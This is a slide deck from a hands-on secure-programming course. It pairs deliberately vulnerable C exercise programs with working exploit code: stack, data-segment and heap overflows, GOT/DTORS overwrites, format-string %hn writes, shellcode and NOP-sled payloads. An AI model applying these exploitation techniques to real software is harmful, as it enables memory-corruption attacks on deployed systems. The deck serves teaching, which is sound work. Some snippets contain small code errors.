Hands on C and C++: vulnerabilities and exploits

Yves Younan
Senior Research Engineer
Sourcefire Vulnerability Research Team (VRT)

Pieter Philippaerts
Lecturer
Katholieke Hogeschool Leuven (KHLueven)
Practical stuff

- Exercise programs from gera’s insecure programming page: http://community.core-sdi.com/~gera/InsecureProgramming/
- DL from http://fort-knox.org/secappdev/
  - Get vmware-player and secappdev.zip or .tar.gz
- Login with: secappdev/secappdev (root also secappdev)
- cd HandsOn
- Compile with gcc -g <prog.c> -o <proaname>
- /sbin/ifconfig to get ip address if you want to ssh in (putty/winscp)
Process memory layout

- Arguments/Environment
  - Stack
  - Unused and Shared Memory
  - Heap
  - Static & Global Data
  - Program code
Overview

- We’ll start with stack1-stack5
- Then we’ll move on to abo1-abo8
- Then fs1-fs4
- If there’s time left sg1 and abo9
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x41424344)
        printf("you win!\n");
}
```

What input is needed for this program to exploit it?
stack1.c

main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

<table>
<thead>
<tr>
<th>Return address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Frame pointer</td>
</tr>
<tr>
<td>cookie</td>
</tr>
<tr>
<td>buf</td>
</tr>
</tbody>
</table>

FP

IP

SP
```c
class name

main:
    cookie
    buf[80]
    printf()
    gets()
    ...
```

```
perl -e 'print "A"x80; print "DCBA"' | ./stack1
```
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x01020305)
        printf("you win!\n");
}
```

What input is needed for this program to exploit it?
stack2.c

```
main:
  cookie
  buf[80]
  printf()
  gets()
  ...
```

Stack

- Return address
- Frame pointer
- cookie
- buf

IP

FP

SP
```c
main:
    cookie
    buf[80]
    printf()
    gets()
    ...
```

```
perl -e 'print "A"x80; printf("%c%c%c%c", 5, 3, 2, 1)' | ./stack2
```
What input is needed for this program to exploit it?
stack3.c

main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

- Return address
- Frame pointer
- cookie
- buf

IP

FP

SP
stack3.c

main:
  cookie
  buf[80]
  printf()
  gets()
  ...

Stack

- Return address
- Frame pointer
  - 0x01020005
- buf

- perl -e 'print "A"x80; printf("%c%c%c%c", 5, 0, 2, 1)' | ./stack3
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x000a0d00)
        printf("you win!\n");
}
```

Do you see any problems with stack4?

How would you solve them?
The code snippet is from the file `stack4.c`. The `main` function contains the following code:

```c
cookie
buf[80]
printf()
gets()
...
```

A stack diagram is shown with the following stack layout:

- **Return address**
- **Frame pointer**
- **cookie**
- **buf**
stack4.c

- Can’t generate the correct value: \n will terminate the gets
- Must overwrite the return address and jump to the instruction after the if
Intro to GDB

- Compile the application with -g for debugging info
- `gdb <program name>`
  - `break main` -> tells the debugger to stop when it reaches main
  - `run` -> run the program
  - `x buffer` -> print out the contents and address of buffer
  - `disas func` -> show assembly representation of func
  - `x buffer+value` -> print out buffer+value, useful for finding the return address
#define RET 0x08048469

int main() {
    char buffer[92];
    memset(buffer, '\x90', 92);
    *(long *)&buffer[88] = RET;
    printf(buffer);
}

stack4.c

main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf("win")
  return

Stack

Return address
Frame pointer

cookie

buf
stack4.c

main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
  printf("win")
  return
stack4.c

main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
  printf("win")
  return

Stack
- Return address
- Frame pointer
- cookie
- buf

IP
FP
SP
stack4.c

```c
main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf("win")
  return
```

Stack:
- Return address
- Frame pointer
- cookie
- buf

IP -> SP -> FP
```c
int main() {
    int cookie;
    char buf[80];
    printf("buf: %08x cookie: %08x\n", &buf, &cookie);
    gets(buf);
    if (cookie == 0x000a0d00)
        printf("you lose!\n");
}
```

Problem?
stack5.c

- No you win present, can’t return to existing code
- Must insert our own code to perform attack
Shellcode

- Small program in machine code representation
- Injected into the address space of the process

```c
int main() {
    printf("You win\n");
    exit(0)
}

static char shellcode[] =
    "\x6a\x09\x83\x04\x24\x01\x68\x77"
    "\x69\x6e\x21\x68\x79\x75\x20"
    "\x31\xdb\xb3\x01\x89\xe1\x31\xd2"
    "\xb2\x09\x31\xc0\xb0\x04\xc0";
```
```c
static char shellcode[] = // shellcode from prev slide
#define RET 0xbfffffd28
int main() {
    char buffer[93]; int ret;
    memset(buffer, '\x90', 92);
    memcpy(buffer, shellcode, strlen(shellcode));
    *(long *)&buffer[88] = RET;
    buffer[92] = 0;
    printf(buffer); }
```
main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
    printf("lose")
  return

Stack

FP

SP

Return address
Frame pointer
cookie
Injected code
main:
  cookie
  buf[80]
  printf()
  gets()
  if (cookie)
  printf("lose")
  return
stack5.c

main:  
  cookie  
  buf[80]  
  printf()  
  gets()  
  if (cookie)  
  printf(“lose”)  
  return

---

Stack

Return address

Frame pointer

cookie

Injected code

---
stack5.c

main:
    cookie
    buf[80]
    printf()
    gets()
    if (cookie)
    printf("lose")
    return

Stack

- Return address
- Frame pointer
- cookie
- Injected code
Finding inserted code

- Generally (on kernels < 2.6) the stack will start at a static address
- Finding shell code means running the program with a fixed set of arguments/fixed environment
- This will result in the same address
- Not very precise, small change can result in different location of code
- Not mandatory to put shellcode in buffer used to overflow
- Pass as environment variable
Controlling the environment

Passing shellcode as environment variable:

Stack start - 4 null bytes
- strlen(program name) -
- null byte (program name)
- strlen(shellcode)

\[
\text{0xBFFFFFFF} - 4 \\
- \text{strlen(program name)} - \\
- 1 \\
- \text{strlen(shellcode)}
\]
```c
static char shellcode[] = // shellcode from prev slide
int main (int argc, char **argv) {
    char buffer[265];    int ret;
    char *execargv[3] = { "./abo1", buffer, NULL };  
    char *env[2] = { shellcode, NULL };  
    ret = 0xBFFFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);  
    printf ("return address is %#10x", ret);  
    memset(buffer, '\x90', 264);  
    *(long *)&buffer[260] = ret;  
    buffer[264] = 0;  
    execve(execargv[0],execargv,env);}
```

http://fort-knox.org/secappdev
abo2.c

- int main(int argv, char **argc) {
  - char buf[256];
  - strcpy(buf, argc[1]);
  - exit(1);
- }
- Problem?
abo2.c

- Not exploitable on x86
- Nothing interesting we can overwrite before exit () is called
int main(int argv, char **argc) {
    extern system, puts;
    void (*fn)(char*) = (void(*)(char*))&system;
    char buf[256];
    fn = (void(*)(char*))&puts;
    strcpy(buf, argc[1]);
    fn(argc[2]);
    exit(1);
}

Problem?
abo3.c

- Can’t overwrite the return address, because of `exit()`
- However this time we can overwrite the function pointer
- Make the function pointer point to our injected code
- When the function is executed our code is executed
abo3.c

- static char shellcode[] = // shellcode from prev slide
- int main (int argc, char **argv) {
  ▶ char buffer[261]; int ret;
  char *env[2] = { shellcode, NULL };
  ret = 0xBFFFFFFF - 4 - strlen(execargv[0]) - 1 - strlen(shellcode);
  printf("return address is %#10x", ret);
  memset(buffer, '\x90', 260);
  *(long *)&buffer[256] = ret;
  buffer[260] = 0;
  execve(execargv[0], execargv, env);}


abo4.c

- extern system, puts;
- void (*fn)(char*)=(void(*)(char*))&system;
- int main(int argv, char **argc) {
  char *pbuf=malloc(strlen(argc[2])+1);
  char buf[256];
  fn=(void(*)(char*))&puts;
  strcpy(buf, argc[1]);
  strcpy(pbuf, argc[2]);
  fn(argc[3]);
  while(1); }
abo4.c

- Use `objdump -t abo4 | grep fn` to find address of `fn`
- The function pointer is not on the stack: can’t overflow it directly
Indirect Pointer Overwriting

```c
f0:
  ...
  call f1
  ...

f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...
```

```
Stack

- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
```

- IP
- FP
- SP

- data
Indirect Pointer Overwriting

f0:
  ...  
  call f1  
  ...  

f1:
ptr = &data;  
buffer[]  
overflow();  
*ptr = value;  
...

data

Stack
- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
- Pointer
- Buffer
Indirect Pointer Overwriting

```
f0:
  ... call f1
  ...

f1:
  ptr = &data;
  buffer[] overflow();
  *ptr = value;
  ...
```

Stack

- Other stack frames
- Return address f0
- Saved frame pointer f0
- Local variables f0
- Arguments f1
- Return address f1
- Saved frame pointer f1
- Overwritten pointer
  - Injected code
Indirect Pointer Overwriting

```
int f0()

call f1

int f1()

ptr = &data;
buffer[] overflow();
*ptr = value;
```
Indirect Pointer Overwriting

f0:
  ...
  call f1
  ...

f1:
  ptr = &data;
  buffer[]
  overflow();
  *ptr = value;
  ...

Stack

Other stack frames

Return address f0

Saved frame pointer f0

Local variables f0

Injected code
abo4.c

- Use `objdump -t abo4 | grep fn` to find address of `fn`
- The function pointer is not on the stack: can’t overflow it directly
Use `objdump -t abo4 | grep fn` to find address of `fn`

The function pointer is not on the stack: can’t overflow it directly

However there is a data pointer on the stack: `pbuf`

Overflow `buf` to modify the address that `pbuf` is pointing to, make it point to `fn`

Use the second `strcpy` to copy information to `fn`

The second `strcpy` is not overflowed
abo4.c

- static char shellcode[] = // shellcode from prev slide
- #define FN 0x080496a0
- int main (int argc, char **argv) {
  char buffer[261]; char retaddr[4]; int ret;
  char *env[2] = { shellcode, NULL };
  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
  memset(buffer, '\x90', 260);
  *(long *)&buffer[256] = FN;
  buffer[260] = 0; *(long *)&retaddr = ret;
  execve(execargv[0],execargv,env);}
Two ways of solving this one, we’ll do both

```c
int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    strcpy(buf, argc[1]);
    for (; *pbuf++ = *(argc[2]++););
    exit(1);
}
```

Problem?
Suggestions?
Two ways of solving this one, we’ll do both

1. Overwrite the GOT entry for exit so it will execute our code when exit is called
2. Overwrite a DTORS entry, so when the program exits our code will be called as a destructor function
abo5.c

- static char shellcode[] = // shellcode from prev slide
- #define EXIT 0x0804974c
- int main (int argc, char **argv) {
  char buffer[261]; char retaddr[4]; int ret;
  char *env[2] = { shellcode, NULL };
  ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
  memset(buffer, '\x90', 260);
  *(long *)&buffer[256] = EXIT;
  buffer[260] = 0; *(long *)&retaddr = ret;
  execve(execargv[0],execargv,env); }
abo5.c 2nd solution

- static char shellcode[] = // shellcode from prev slide
- #define DTORS 0x08049728
- int main (int argc, char **argv) {
-   char buffer[261]; char retaddr[5]; int ret;
-   char *env[2] = { shellcode, NULL };  
-   ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);  
-   memset (buffer, '\x90', 260); *(long *)&buffer[256] = DTORS; 
-   buffer[260] = 0; *(long *)&retaddr = ret;  
-   retaddr[4] = 0; 
-   execve (execargv[0], execargv, env); }
int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    while (1);}

Problem?
int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];
    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    while(1);}

Nothing in the datasegment or stack can be overwritten because the program goes into an endless loop
abo6.c

- FILE *fd = fopen("file.txt", "w");
- fprintf(fd, "%p", &buf);
- fclose(fd);
abo6.c

- Nothing in the datasegment or stack can be overwritten because the program goes into an endless loop
- Make the first strcpy point pbuf to the second strcpy’s return address
- The second strcpy will then overwrite its own return address by copying our input into pbuf
- Very fragile exploit: the exact location of strcpy’s return address must be determined
abo6.c

- static char shellcode[] = // shellcode from prev slide
- #define BUF 0xbfffffb6c
- int main (int argc, char **argv) {
  char buffer[261]; char retaddr[4]; int ret;
  char *env[2] = { shellcode, NULL };
  ret = 0xBFFFFFFF - 4 - strlen(execargv[0]) - 1 - strlen(shellcode);
  memset(buffer, '\x90', 260);
  *(long *)&buffer[256] = BUF;
  buffer[260] = 0; *(long *)&retaddr = ret;
  execve(execargv[0], execargv, env);}
abo7.c

- char buf[256] = {1};

- int main(int argv, char **argc) {
  strcpy(buf, argv[1]);
}

Suggestions?
abo7.c

- char buf[256] = {1};

- int main(int argv, char **argc) {
  strcpy(buf, argc[1]);
}

- Overflow into dtors section
- Find location of data section: objdump -t abo7 | grep buf
- Find location of dtors section: objdump -x abo7 | grep -i dtors
Overflows in the data/bss segments

- **ctors**: pointers to functions to execute at program start
- **dctors**: pointers to functions to execute at program finish
- **GOT**: global offset table: used for dynamic linking: pointers to absolute addresses

<table>
<thead>
<tr>
<th></th>
<th>Data</th>
<th>Ctors</th>
<th>Dtors</th>
<th>GOT</th>
<th>BSS</th>
<th>Heap</th>
</tr>
</thead>
</table>
abo7.c

- static char shellcode[] = // shellcode from prev slide
- int main (int argc, char **argv) {
  - char buffer[476];
  - char *env[2] = { shellcode, NULL }; 
  - int ret;
  - ret = 0xBFFFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode);
  - memset(buffer, '\x90', 476);
  - *(long *)&buffer[472] = ret;
  - execve(execargv[0],execargv,env);
- }


Newer compiler on the system

- dtors: pointers to functions to execute at program finish
- Data segment followed by eh_frame – no issue
- Followed by Dynamic:
  - Used to make decisions about dynamic linking, overwriting causes issues
- Note Exploitable

<table>
<thead>
<tr>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>EH Frame</td>
</tr>
<tr>
<td>Dynamic</td>
</tr>
<tr>
<td>Ctors</td>
</tr>
<tr>
<td>Dtors</td>
</tr>
<tr>
<td>GOT</td>
</tr>
<tr>
<td>BSS</td>
</tr>
<tr>
<td>Heap</td>
</tr>
</tbody>
</table>
abo8.c

- char buf[256];

- int main(int argv, char **argc) {
  strcpy(buf, argc[1]);
}

-Suggestions?
abo8.c

- char buf[256];

- int main(int argv, char **argc) {
  - strcpy(buf, argc[1]);
}

- buf not initialized, so in bss segment
- only heap is stored behind bss segment, could perform heap-based buffer overflows, but no malloc chunks
- Not exploitable
Overflows in the data/bss segments

- Ctors: pointers to functions to execute at program start
- Dtors: pointers to functions to execute at program finish
- GOT: global offset table: used for dynamic linking: pointers to absolute addresses
fs1.c

```c
int main(int argv, char **argc) {
    short int zero = 0;
    int *plen = (int*)malloc(sizeof(int));
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf, plen);
    while(zero);
}
```
Problem?
fs1.c

- Can’t have NULL byte as that will end strcpy
- Must have 0 in zero o the program will go into an endless loop
- Solution?
fs1.c

- `%n` writes the amount of bytes that have been processed by `printf` to an integer via a pointer
- We can overwrite the location that `plen` points to via the `strcpy`
- `%hn` writes a short int and zero is a short int
- We must write 0 to zero, but `printf` will print out at least 260 if we overwrite `plen`
- Solution?
The maximum value in a short int is 32767 and in an unsigned short int that would be 65535.

65535 in hex is 0xFFFF

If we write 0x10000, then zero will only contain 0. This means that we must write 65536 bytes to buf.

So the exploit must pass in 65536 bytes:
  ▶ At byte 256-260 we write a pointer to zero
  ▶ And at byte 264 we can write our return address
  ▶ The rest is simply filler so that %n writes what we want it to
```c
#define ZERO 0xbffefeba
int main(int argc, char **argv) {
    char buffer[65537]; int ret;
    char *execargv[4] = { "./fs1", buffer, NULL};
    char *env[2] = { shellcode, NULL};
    ret = 0xbfffffff-4-strlen(execargv[0])-1-strlen(shellcode);
    memset(buffer, 0x90, 65536);
    *(long *)&buffer[256]=ZERO; *(long *)&buffer[268]=ret;
    buffer[65536]=0; execve(execargv[0], execargv, env); }
```
fs2.c

- int main(int argv,char **argc) {
  - char buf[256];
  - snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
  - snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
- }
- Problem?
Two possible solutions:

- Overwrite entry in DTOR table (in two steps)

- Use the first `snprintf` to (partially) overwrite the GOT entry of `snprintf`
  - Use a NOP sled in the shellcode (0x90)
fs2.c

- Solution (made easy with a NOP sled)
  - export SHELLCODE=`perl -e 'print "\x90"x10000 . "\x6a\x09\x83\x04\x24\x01\x68\x77\x69\x6e\x21\x68 \x79\x6f\x75\x20\x31\xdb\xb3\x01\x89\xe1\x31\xd2 \xb2\x09\x31\xc0\xb0\x04\xcd\x80\x32\xdb\xb0\x01 \xcd\x80"'`

- Jump to 0xbfffffe63 (somewhere in the NOP sled)
  - ./fs2 `perl -e 'print "\x98\x95\x04\x08"."a"x65117"` `perl -e 'print "\x9A\x95\x04\x08"."a"x49145``

- Note: 0xfe63 == 65117+6, 0xbfff == 49145+6, DTOR_END == 0x08049598
Problem?

```c
int main(int argv, char **argc) {
    char buf[256];
    snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
```
Solution: (partially) overwrite GOT entry
▶ Only option here is the "__deregsiter_frame_info" function
▶ Not very precise landing => NOP sled
fs3.c

#define BUF   49149 + 1       // 0xbfff-2 + 1
#define DEREG   0x0804958c // addr of dereg_frame

int main() {
    char    buf[BUF];
    char    *p = buf;
    *((void **)p) = (void *)(DEREG + 2);  p += 4;
    memset(p, 0x90 /* NOP */, (BUF - 1 - 4 - strlen(sc)));   p += (BUF-1-4-strlen(sc));
    memcpy(p, sc, strlen(sc)); p += strlen(sc); *p = 0x0;
    execl("./fs3", "fs3", buf, NULL); }
fs4.c

- int main(int argv, char **argc) {
  char buf[256];
  snprintf(buf, sizeof buf, "%s%6$hn", argc[1]);
  printf(buf);
}

- Problem?
Solution: very similar to previous exercise

- Instead of overwriting the address of `deregister_frame_info`, we can overwrite `printf`
fs4.c

- `/fs4 AAAABBBB `perl -e 'print "\xc2\x95\x04\x08" . "\x90"x49138 . "\x6a\x09\x83\x04\x24\x01\x68\x77 \x69\x6e\x21\x68\x79\x6f\x75\x20\x31\xdb\xb3\x01 \xe1\x31\xd2\xb2\x08\x31\xc0\xb0\x04\xcd\x80 \x32\xdb\xb0\x01\xcd\x80"````

- Note: 0x080495c2 = (PRINTF@GOT + 2);
- 49138 is specifically chosen such that the %hn will output 0xbfff
This program assumes protection by StackGuard

```c
int func(char *msg) {
    char buf[80];
    strcpy(buf, msg);
    strcpy(msg, buf);
    exit(1);
}

int main(int argv, char** argc) {
    func(argc[1]);
}
```
sg1.c

- Can’t just overwrite return address: protected by StackGuard

- We have 2 strcyps, we can use the first one to overwrite the argument to func
  - Make msg point to DTORS or EXIT
  - Slight problem with making it point to DTORS: it writes 92 bytes, which overwrites the GOT, causing the program to crash when exit is called (unless we place ret at the correct offset)
  - So we overwrite EXIT instead
```c
#define EXIT 0x80495e8

int main(int argc, char **argv) {
    char buffer[93]; int ret;
    char *env[2] = { shellcode, NULL }; 
    ret=0xbfffffff-4-strlen(execargv[0])-1-strlen(shellcode);
    memset(buffer, 0x90, 93);
    *(long *)&buffer[88] = EXIT;
    *(long *)&buffer[0] = ret;
    buffer[92]=0; execve(execargv[0], execargv, env); }
```
int main(int argc, char **argv) {
    char *pbuf1 = (char*)malloc(256);
    char *pbuf2 = (char*)malloc(256);
    gets(pbuf1);
    free(pbuf2);
    free(pbuf1);
}

heap-based buffer-overflow
  ▶ Must overwrite memory management information
Heap-based buffer overflows

Chunk1

- Size of prev. chunk
- Size of chunk1

Injected code

Chunk2

- Size of chunk1
- Size of chunk2
- fwd: pointer to target
- bck: pointer to inj. code

Old user data

Return address

Call f1
...

Sourcefire

Katholieke Hogeschool Leuven
Heap-based buffer overflows

After unlink

- Chunk1
  - Size of prev. chunk
  - Size of chunk1
  - Injected code
  - Old user data

- Chunk2
  - Size of chunk1
  - Size of chunk2
  - fwd: pointer to target
  - bck: pointer to inj. code

Overwritten return address

call f1
...

f1
### abo9.c

<table>
<thead>
<tr>
<th>pbuf1</th>
<th>pbuf2</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Size of prev. chunk</strong></td>
<td><strong>Size of pbuf1</strong></td>
</tr>
<tr>
<td><strong>Size of pbuf1</strong></td>
<td><strong>Size of pbuf2</strong></td>
</tr>
<tr>
<td>User data</td>
<td>User data</td>
</tr>
</tbody>
</table>

- prev_inuse bit
abo9.c

<table>
<thead>
<tr>
<th>pbuf1</th>
<th>Size of prev. chunk</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Size of pbuf1</td>
</tr>
<tr>
<td>User data</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>pbuf2</th>
<th>Size of pbuf1</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Size of pbuf2</td>
</tr>
<tr>
<td>User data</td>
<td></td>
</tr>
</tbody>
</table>
Unlinking chunks:
- \( P->fd->bk = P->bk \)
- \( P->bk->fd = P->fd \)

Which is
- \( *(P+8)+12 = *(P+12) \)
- \( *(P+12)+8 = *(P+8) \)

So at \( *FD+12 \) we write BK
- At \( *BK+8 \) we write FD
This is the code to consolidate backwards (i.e. if the previous chunk is free, combine it with the currently freed chunk):

```c
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(p, bck, fwd);
}
```
We want to write a small enough number – to avoid having to write a 0 byte, we can use a negative number

Overwrite prevsize with -8 and size with -8:

- prevsize = -8; size = -8
- chunk_at_offset(p, - -8) = p+8
- Since p is at pbuf1+256, this would be at pbuf1+264
- Next chunk: pbuf1+256+size = pbuf1+256-8, where we must tell it that prev_chunk is in usse (we’re freeing it), so pbuf1+248=-7 (last bit set to 1)
- Fake free chunk is now at pbuf1+264, fd=pbuf1+264+8 and bk = pbuf1+264+12
# abo9.c

<table>
<thead>
<tr>
<th>pbuf1</th>
<th>Size of prev. chunk</th>
<th>prev_inuse bit</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Size of pbuf1</td>
<td></td>
</tr>
<tr>
<td></td>
<td>User data</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>-7</td>
<td>1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>pbuf2</th>
<th>Size of chunk after pbuf2</th>
<th>prev_inuse bit</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>-8</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td>-8</td>
<td></td>
</tr>
</tbody>
</table>

FD of fake chnk: pbuf+8+8
BK of fake chnk: pbuf+8+12
In summary:

- Set pbuf2’s size/prevsize, claim that previous chunk is free
- Create a fake chunk that pbuf2 can be coalesced with during the free of pbuf2
- Set FD and BK of fake chunk
  - Overwrite GOT entry of free with a pointer to our shellcode
- Need slightly modified shellcode: unlinking works in 2 ways:
  - *(FD+12) is set to BK, but also *(BK+8)=FD
    - This would cause our shellcode to crash because FD is not executable
    - shellcode_abo9.h: first 2 bytes jump to shellcode+16
abo9.c

#define BUF1 0x08049648
#define FREE 0x08049620

int main (int argc, char **argv) {
    char buffer[300]; memset(buffer, '\x41', 300);
    memcpy(buffer, shellcode, strlen(shellcode));
    *(long*)&buffer[252]=0xffffffff9;
    *(long*)&buffer[256]=0xffffffff8;
    *(long*)&buffer[260]=0xffffffff8;
    *(long*)&buffer[272] = FREE-12;
    *(long*)&buffer[276] = BUF1;
    buffer[280] = 0; printf("%s\n", buffer); }
Conclusion

- Introduction into how a hacker would go about exploiting vulnerabilities
- Countermeasures make this harder these days
- More advanced techniques are used to avoid these mitigations

- Solutions are available in /root (log in as root/secappdev)
  - File is solutions.tar.gz